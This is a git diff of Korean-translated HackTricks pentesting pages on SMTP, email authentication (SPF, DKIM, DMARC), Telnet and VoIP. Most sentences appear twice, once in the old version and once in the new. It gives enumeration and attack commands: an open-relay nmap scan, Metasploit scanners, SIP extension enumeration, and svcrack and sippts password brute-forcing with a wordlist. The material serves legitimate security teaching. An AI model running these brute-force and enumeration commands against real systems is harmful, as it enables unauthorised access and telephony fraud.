**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## DSN 보고서
**전달 상태 알림 보고서**: 조직에 **잘못된 주소**로 **이메일**을 보내면, 해당 조직은 주소가 잘못되었다는 것을 **귀하에게 메일을 보내** 알립니다. 반환된 이메일의 **헤더**에는 가능한 **민감한 정보**(보고서와 상호작용한 메일 서비스의 IP 주소나 안티바이러스 소프트웨어 정보 등)가 **포함**될 것입니다.
**전달 상태 알림 보고서**: 조직에 **잘못된 주소**로 **이메일**을 보내면, 해당 조직은 주소가 잘못되었다고 **메일을 다시 보내** 알려줍니다. 반환된 이메일의 **헤더**에는 가능한 **민감한 정보**(보고서와 상호작용한 메일 서비스의 IP 주소나 안티바이러스 소프트웨어 정보 등)가 **포함**될 것입니다.
## [명령어](smtp-commands.md)
@ -248,7 +248,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
## SMTP 스머글링
SMTP 스머글링 취약점은 모든 SMTP 보호를 우회할 수 있게 해줍니다 (자세한 정보는 다음 섹션을 참조하세요). SMTP 스머글링에 대한 더 많은 정보는 다음을 확인하세요:
SMTP 스머글링 취약점은 모든 SMTP 보호를 우회할 수 있게 해줍니다 (보호에 대한 자세한 정보는 다음 섹션을 참조하세요). SMTP 스머글링에 대한 더 많은 정보는 다음을 확인하세요:
{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
@ -256,7 +256,7 @@ SMTP 스머글링 취약점은 모든 SMTP 보호를 우회할 수 있게 해줍
## 메일 스푸핑 대응책
조직은 **SPF**, **DKIM**, **DMARC**를 사용하여 그들의 이름으로 무단 이메일이 전송되는 것을 방지합니다. 이는 SMTP 메시지를 스푸핑하는 것이 용이하기 때문입니다.
조직은 SMTP 메시지를 스푸핑하는 것이 용이하기 때문에 **SPF**, **DKIM**, **DMARC**를 사용하여 그들의 이름으로 무단 이메일이 전송되는 것을 방지합니다.
**이 대응책에 대한 완전한 가이드**는 [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)에서 확인할 수 있습니다.
@ -280,13 +280,13 @@ SPF [는 2014년에 "사용 중지"되었습니다](https://aws.amazon.com/premi
| IP4 | 발신자가 주어진 IPv4 주소 범위에 있는 경우 일치합니다. |
| IP6 | 발신자가 주어진 IPv6 주소 범위에 있는 경우 일치합니다. |
| MX | 도메인 이름에 발신자의 주소로 확인할 수 있는 MX 레코드가 있는 경우 일치합니다 (즉, 메일이 도메인의 수신 메일 서버 중 하나에서 옵니다). |
| PTR | 클라이언트의 주소에 대한 도메인 이름 (PTR 레코드)이 주어진 도메인에 있고 해당 도메인 이름이 클라이언트의 주소로 확인되는 경우 (정방향 확인된 역 DNS), 일치합니다. 이 메커니즘은 권장되지 않으며 가능한 한 피해야 합니다. |
| PTR | 클라이언트의 주소에 대한 도메인 이름 (PTR 레코드)이 주어진 도메인에 있고 해당 도메인 이름이 클라이언트의 주소로 확인되는 경우 (전방 확인된 역 DNS), 일치합니다. 이 메커니즘은 권장되지 않으며 가능하면 피해야 합니다. |
| EXISTS | 주어진 도메인 이름이 어떤 주소로도 확인되는 경우 일치합니다 (확인되는 주소에 관계없이). 이는 드물게 사용됩니다. SPF 매크로 언어와 함께 사용하면 DNSBL 쿼리와 같은 더 복잡한 일치를 제공합니다. |
| INCLUDE | 다른 도메인의 정책을 참조합니다. 해당 도메인의 정책이 통과하면 이 메커니즘도 통과합니다. 그러나 포함된 정책이 실패하면 처리 계속됩니다. 다른 도메인의 정책에 완전히 위임하려면 리디렉션 확장을 사용해야 합니다. |
| REDIRECT | <p>리디렉션은 SPF 정책을 호스팅하는 다른 도메인 이름에 대한 포인터로, 여러 도메인이 동일한 SPF 정책을 공유할 수 있게 해줍니다. 이는 동일한 이메일 인프라를 공유하는 많은 도메인 작업할 때 유용합니다.</p><p>리디렉션 메커니즘에 표시된 도메인의 SPF 정책이 사용됩니다.</p> |
| INCLUDE | 다른 도메인의 정책을 참조합니다. 해당 도메인의 정책이 통과하면 이 메커니즘도 통과합니다. 그러나 포함된 정책이 실패하면 처리 계속됩니다. 다른 도메인의 정책에 완전히 위임하려면 리디렉션 확장을 사용해야 합니다. |
| REDIRECT | <p>리디렉션은 SPF 정책을 호스팅하는 다른 도메인 이름에 대한 포인터로, 여러 도메인이 동일한 SPF 정책을 공유할 수 있게 해줍니다. 이는 동일한 이메일 인프라를 공유하는 많은 도메인에서 작업할 때 유용합니다.</p><p>리디렉션 메커니즘에 표시된 도메인의 SPF 정책이 사용됩니다.</p> |
**정량자**를 식별하는 것도 가능합니다. 이는 **메커니즘이 일치할 경우 수행해야 할 작업**을 나타냅니다. 기본적으로 **정량자 "+"**가 사용됩니다 (따라서 어떤 메커니즘이 일치하면 허용된다는 의미입니다).\
보통 **각 SPF 정책의 끝**에 **\~all** 또는 **-all**과 같은 것이 표시됩니다. 이는 **발신자가 어떤 SPF 정책과도 일치하지 않을 경우 이메일을 신뢰할 수 없는 것으로 태그(\~)하거나 이메일을 거부(-)해야 함을 나타냅니다.**
**정량자**를 식별하는 것도 가능하며, 이는 **메커니즘이 일치할 경우 수행해야 할 작업**을 나타냅니다. 기본적으로 **정량자 "+"**가 사용됩니다 (따라서 어떤 메커니즘이 일치하면 허용된다는 의미입니다).\
보통 **각 SPF 정책의 끝에** **\~all** 또는 **-all**과 같은 것을 볼 수 있습니다. 이는 **발신자가 어떤 SPF 정책과도 일치하지 않을 경우, 이메일을 신뢰할 수 없는 것으로 태그(\~)하거나 이메일을 거부(-)해야 함을 나타냅니다.**
#### 정량자
@ -297,7 +297,7 @@ SPF [는 2014년에 "사용 중지"되었습니다](https://aws.amazon.com/premi
* **`~`**: SOFTFAIL을 나타내며, NEUTRAL과 FAIL 사이의 중간 지점 역할을 합니다. 이 결과를 충족하는 이메일은 일반적으로 수락되지만 적절히 표시됩니다.
* **`-`**: FAIL을 나타내며, 이메일이 즉시 거부되어야 함을 제안합니다.
다음 예제에서는 **google.com의 SPF 정책**이 설명됩니다. 첫 번째 SPF 정책 내에 다른 도메인의 SPF 정책이 포함 점에 유의하세요:
다음 예제에서는 **google.com의 SPF 정책**이 설명됩니다. 첫 번째 SPF 정책 내에 다른 도메인의 SPF 정책이 포함되어 있는 점에 유의하세요:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
@ -322,7 +322,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
### DKIM (DomainKeys Identified Mail)
DKIM은 아웃바운드 이메일에 서명하는 데 사용되며, 외부 메일 전송 에이전트(MTA)가 DNS에서 도메인의 공개 키를 검색하여 이를 검증할 수 있도록 합니다. 이 공개 키는 도메인의 TXT 레코드에 위치합니다. 이 키에 접근하려면 선택자와 도메인 이름을 모두 알아야 합니다.
DKIM은 외부 메일 전송 에이전트(MTA)가 DNS에서 도메인의 공개 키를 검색하여 아웃바운드 이메일에 서명하는 데 사용됩니다. 이 공개 키는 도메인의 TXT 레코드에 위치합니다. 이 키에 접근하려면 선택자와 도메인 이름을 모두 알아야 합니다.
예를 들어, 키를 요청하려면 도메인 이름과 선택자가 필수적입니다. 이는 메일 헤더 `DKIM-Signature`에서 찾을 수 있습니다, 예: `d=gmail.com;s=20120113`.
@ -334,7 +334,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC는 SPF 및 DKIM 프로토콜을 기반으로 이메일 보안을 강화합니다. 특정 도메인에서 오는 이메일을 처리하는 데 있어 메일 서버가 따라야 할 정책을 설명하며, 인증 실패를 처리하는 방법과 이메일 처리 작업에 대한 보고서를 어디로 보낼지를 포함합니다.
DMARC는 SPF 및 DKIM 프로토콜을 기반으로 이메일 보안을 강화합니다. 특정 도메인에서 오는 이메일 처리에 대한 지침을 제공하는 정책을 설명하며, 인증 실패를 처리하는 방법과 이메일 처리 작업에 대한 보고서를 어디로 보낼지를 포함합니다.
**DMARC 레코드를 얻으려면 서브도메인 \_dmarc를 쿼리해야 합니다.**
```bash
@ -369,9 +369,9 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
메일을 보내고자 하는 각 하위 도메인에 대해 별도의 SPF 레코드를 가져야 합니다.\
다음 내용은 원래 openspf.org에 게시된 것으로, 이와 같은 정보에 대한 훌륭한 자원이었습니다.
> 악마의 질문: 하위 도메인은 어떻게 되나요?
> 데몬 질문: 하위 도메인은 어떻게 되나요?
>
> pielovers.demon.co.uk에서 메일을 받고, pielovers에 대한 SPF 데이터가 없다면, 한 단계 올라가서 demon.co.uk에 대한 SPF를 테스트해야 할까요? 아니요. Demon의 각 하위 도메인은 다른 고객이며, 각 고객은 자신의 정책을 가질 수 있습니다. 기본적으로 Demon's 정책이 모든 고객에게 적용되는 것은 의미가 없습니다. Demon이 그렇게 하기를 원한다면, 각 하위 도메인에 대한 SPF 레코드를 설정할 수 있습니다.
> pielovers.demon.co.uk에서 메일을 받고, pielovers에 대한 SPF 데이터가 없다면, 한 단계 올라가서 demon.co.uk에 대한 SPF를 테스트해야 할까요? 아니요. 데몬의 각 하위 도메인은 다른 고객이며, 각 고객은 자신의 정책을 가질 수 있습니다. 데몬의 정책이 기본적으로 모든 고객에게 적용되는 것은 의미가 없습니다. 데몬이 그렇게 하기를 원한다면, 각 하위 도메인에 대한 SPF 레코드를 설정할 수 있습니다.
>
> 따라서 SPF 발행자에게 주는 조언은 다음과 같습니다: A 또는 MX 레코드가 있는 각 하위 도메인 또는 호스트 이름에 대해 SPF 레코드를 추가해야 합니다.
>
@ -381,13 +381,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **오픈 릴레이**
이메일이 전송될 때, 스팸으로 표시되지 않도록 하는 것이 중요합니다. 이는 종종 **수신자가 신뢰하는 릴레이 서버**를 사용하여 달성됩니다. 그러나 일반적인 문제는 관리자가 **어떤 IP 범위가 안전한지** 완전히 인식하지 못할 수 있다는 것입니다. 이러한 이해 부족은 SMTP 서버 설정에서 실수로 이어질 수 있으며, 이는 보안 평가에서 자주 식별되는 위험입니다.
이메일이 전송될 때, 스팸으로 표시되지 않도록 하는 것이 중요합니다. 이는 종종 **수신자가 신뢰하는 릴레이 서버**를 사용하여 달성됩니다. 그러나 일반적인 문제는 관리자가 어떤 **IP 범위가 안전한지 완전히 인식하지 못할 수 있다는 것입니다**. 이러한 이해 부족은 SMTP 서버 설정에서 실수로 이어질 수 있으며, 이는 보안 평가에서 자주 식별되는 위험입니다.
특히 잠재적이거나 진행 중인 클라이언트와의 통신과 관련하여 이메일 배달 문제를 피하기 위해 일부 관리자가 사용하는 우회 방법은 **모든 IP 주소에서의 연결을 허용하는 것**입니다. 이는 SMTP 서버의 `mynetworks` 매개변수를 모든 IP 주소를 수용하도록 구성하여 수행됩니다.
일부 관리자가 잠재적 또는 진행 중인 고객과의 통신과 관련하여 이메일 배달 문제를 피하기 위해 사용하는 우회 방법은 **모든 IP 주소에서의 연결을 허용하는 것**입니다. 이는 SMTP 서버의 `mynetworks` 매개변수를 모든 IP 주소를 수용하도록 구성하여 수행됩니다.
```bash
mynetworks = 0.0.0.0/0
```
메일 서버가 오픈 릴레이인지 확인하기 위해 (즉, 외부 소스에서 이메일을 전달할 수 있다는 의미), `nmap` 도구가 일반적으로 사용됩니다. 이 도구는 이를 테스트하기 위해 설계된 특정 스크립트를 포함하고 있습니다. `nmap`을 사용하여 포트 25에서 서버(예: IP 10.10.10.10)에 대해 자세한 스캔을 수행하는 명령은:
메일 서버가 오픈 릴레이인지 확인하기 위해 (즉, 외부 소스에서 이메일을 전달할 수 있다는 의미), `nmap` 도구가 일반적으로 사용됩니다. 이 도구에는 이를 테스트하기 위한 특정 스크립트가 포함되어 있습니다. `nmap`을 사용하여 포트 25에서 서버(예: IP 10.10.10.10)에 대해 자세한 스캔을 수행하는 명령은 다음과 같습니다:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@ -503,7 +503,7 @@ s.sendmail(sender, [destination], msg_data)
### **더 많은 정보**
**이러한 보호 조치에 대한 자세한 정보는** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **에서 확인하세요.**
**이러한 보호 조치에 대한 더 많은 정보는** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **에서 확인하세요.**
### **기타 피싱 지표**
@ -524,7 +524,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix
일반적으로 설치된 경우 `/etc/postfix/master.cf`에는 사용자가 새 메일을 수신할 때 실행할 **스크립트**가 포함되어 있습니다. 예를 들어 `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`라는 줄은 사용자가 mark인 경우 새 메일을 수신하면 `/etc/postfix/filtering`이 실행을 의미합니다.
보통 설치되어 있다면, `/etc/postfix/master.cf`에는 사용자가 새 메일을 수신할 때 실행할 **스크립트**가 포함되어 있습니다. 예를 들어, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`라는 줄은 사용자가 mark인 경우 새 메일을 수신하면 `/etc/postfix/filtering`이 실행된다는 것을 의미합니다.
기타 구성 파일:
```
@ -589,7 +589,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
@ -605,7 +605,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}

View file

@ -17,46 +17,46 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
**Commands from:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
**명령어 출처:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
**HELO**\
첫 번째 SMTP 명령으로, 발신 서버를 식별하며 대화를 시작하고 일반적으로 도메인 이름이 뒤따릅니다.
첫 번째 SMTP 명령어로, 발신 서버를 식별하며 일반적으로 도메인 이름이 뒤따릅니다.
**EHLO**\
대화를 시작하는 대체 명령으로, 서버가 확장 SMTP 프로토콜을 사용하고 있음을 나타냅니다.
대화 시작을 위한 대체 명령어로, 서버가 확장 SMTP 프로토콜을 사용하고 있음을 나타냅니다.
**MAIL FROM**\
이 SMTP 명령로 작업이 시작됩니다: 발신자는 "From" 필드에 출발 이메일 주소를 명시하고 실제 이메일 전송을 시작합니다.
이 SMTP 명령로 작업이 시작됩니다: 발신자는 "From" 필드에 출발 이메일 주소를 명시하고 실제 이메일 전송을 시작합니다.
**RCPT TO**\
이메일 수신자를 식별합니다; 수신자가 여러 명일 경우, 명령 주소별로 반복됩니다.
이메일 수신자를 식별합니다; 수신자가 여러 명일 경우, 명령어는 주소별로 반복됩니다.
**SIZE**\
이 SMTP 명령 첨부된 이메일의 예상 크기(바이트 단위)를 원격 서버에 알립니다. 서버가 수용할 최대 메시지 크기를 보고하는 데에도 사용 수 있습니다.
이 SMTP 명령어는 첨부된 이메일의 예상 크기(바이트 단위)를 원격 서버에 알립니다. 서버가 수용할 수 있는 최대 메시지 크기를 보고하는 데에도 사용 수 있습니다.
**DATA**\
DATA 명령으로 이메일 내용의 전송이 시작됩니다; 일반적으로 서버가 실제 전송을 시작할 수 있도록 허가하는 354 응답 코드가 뒤따릅니다.
DATA 명령어로 이메일 내용 전송이 시작됩니다; 일반적으로 서버가 실제 전송을 시작할 수 있도록 허가하는 354 응답 코드가 뒤따릅니다.
**VRFY**\
특정 이메일 주소나 사용자 이름이 실제로 존재하는지 확인하도록 서버에 요청합니다.
**TURN**\
이 명령 클라이언트와 서버 간의 역할을 반전시키는 데 사용되며, 새로운 연결을 실행할 필요가 없습니다.
이 명령어는 클라이언트와 서버 간의 역할을 반전시키는 데 사용되며, 새로운 연결을 실행할 필요가 없습니다.
**AUTH**\
AUTH 명령로 클라이언트는 서버에 자신을 인증하며, 사용자 이름과 비밀번호를 제공합니다. 이는 적절한 전송을 보장하기 위한 또 다른 보안 계층입니다.
AUTH 명령로 클라이언트는 서버에 자신을 인증하며, 사용자 이름과 비밀번호를 제공합니다. 이는 적절한 전송을 보장하기 위한 또 다른 보안 계층입니다.
**RSET**\
진행 중인 이메일 전송이 종료될 것임을 서버에 알리지만, SMTP 대화는 종료되지 않습니다(QUIT의 경우와 같이).
**EXPN**\
이 SMTP 명령 메일링 리스트의 식별에 대한 확인을 요청합니다.
이 SMTP 명령어는 메일링 리스트의 식별에 대한 확인을 요청합니다.
**HELP**\
이메일의 성공적인 전송에 유용할 수 있는 정보를 요청하는 클라이언트의 요청입니다.
@ -66,7 +66,7 @@ SMTP 대화를 종료합니다.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
@ -45,7 +45,7 @@ The script `telnet-ntlm-info.nse`는 NTLM 정보를 얻습니다 (Windows 버전
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)에서: TELNET 프로토콜에는 사용자가 더 정교한 (또는 아마도 단순히 다른) 규칙 집합을 사용하기로 동의할 수 있도록 "**DO, DON'T, WILL, WON'T**" 구조와 함께 사용될 수 있는 다양한 "**옵션**"이 있습니다. 이러한 옵션에는 문자 집합 변경, 에코 모드 변경 등이 포함될 수 있습니다.
**이 옵션을 열거하는 것이 가능하다는 것을 알고 있지만, 방법을 모르니 아는 분은 알려주세요.**
**이 옵션을 열거하는 것이 가능하다는 것을 알고 있지만, 방법을 모르므로 아는 경우 알려주세요.**
### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet)
@ -89,9 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -105,7 +105,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}

View file

@ -1,23 +1,23 @@
# Pentesting VoIP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks 지원하기</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
@ -50,7 +50,7 @@ MESSAGE Deliver a text message. Used in instant messaging applications. RFC 34
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
```
## Response Codes
## 응답 코드
**1xx—임시 응답**
```
@ -249,7 +249,7 @@ sippts enumerate -i 10.10.0.10
```
### 서버 응답 분석
우리가 보내는 메시지와 헤더의 유형에 따라 서버가 우리에게 보내는 헤더를 분석하는 것이 매우 중요합니다. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS send`를 사용하여 모든 헤더를 조작하고 개인화된 메시지를 보낼 수 있으며, 응답을 분석할 수 있습니다.
우리가 보내는 메시지와 헤더의 유형에 따라 서버가 우리에게 보내는 헤더를 분석하는 것이 매우 중요합니다. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS send`를 사용하면 모든 헤더를 조작하여 개인화된 메시지를 보낼 수 있으며, 응답을 분석할 수 있습니다.
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
@ -259,9 +259,9 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
### Extension Enumeration
PBX(Private Branch Exchange) 시스템에서 확장은 **조직이나 비즈니스 내의 개별** 전화선, 장치 또는 사용자에게 할당된 고유한 내부 식별자를 의미합니다. 확장은 **조직 내에서 전화를 효율적으로 라우팅할 수 있게 해주며**, 각 사용자나 장치에 대한 개별 외부 전화번호가 필요하지 않습니다.
PBX(사설 교환기) 시스템에서 확장은 **조직이나 비즈니스 내의 개별** 전화선, 장치 또는 사용자에게 할당된 고유한 내부 식별자를 의미합니다. 확장은 **조직 내에서 전화를 효율적으로 라우팅할 수 있게 해주며**, 각 사용자나 장치에 대한 개별 외부 전화번호가 필요하지 않습니다.
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`는 무료 SIP PBX 확장선 스캐너입니다. 개념적으로 전통적인 워드다이얼러와 유사하게 **확장 범위 또는 주어진 확장 목록을 추측하여 작동합니다.**
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`는 무료 SIP PBX 확장선 스캐너입니다. 개념적으로 전통적인 워드다이얼러와 유사하게 **확장 범위 또는 주어진 확장 목록을 추측하여 작동합니다**.
```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```
@ -288,10 +288,10 @@ enumiax -v -m3 -M3 10.10.0.10
{% hint style="danger" %}
**사용자 이름**이 확장과 동일할 수 있지만, 이 관행은 PBX 시스템, 구성 및 조직의 선호도에 따라 다를 수 있습니다...
사용자 이름이 확장과 다르면, **무차별 대입을 위해 사용자 이름을 알아내야 합니다**.
사용자 이름이 확장과 동일하지 않은 경우, **무차별 대입을 위해 사용자 이름을 알아내야 합니다**.
{% endhint %}
* **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrack은 PBX에서 특정 사용자 이름/확장에 대한 비밀번호를 해독할 수 있게 해줍니다.
* **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrack은 PBX에서 특정 사용자 이름/확장 비밀번호를 해독할 수 있게 해줍니다.
```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
@ -319,9 +319,9 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
#### SIP 자격 증명 (비밀번호 브루트포스 - 오프라인)
[**SIP REGISTER 통신**을 더 잘 이해하기 위한 이 예제를 확인하세요](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) 자격 증명이 어떻게 **전송되는지** 배울 수 있습니다.
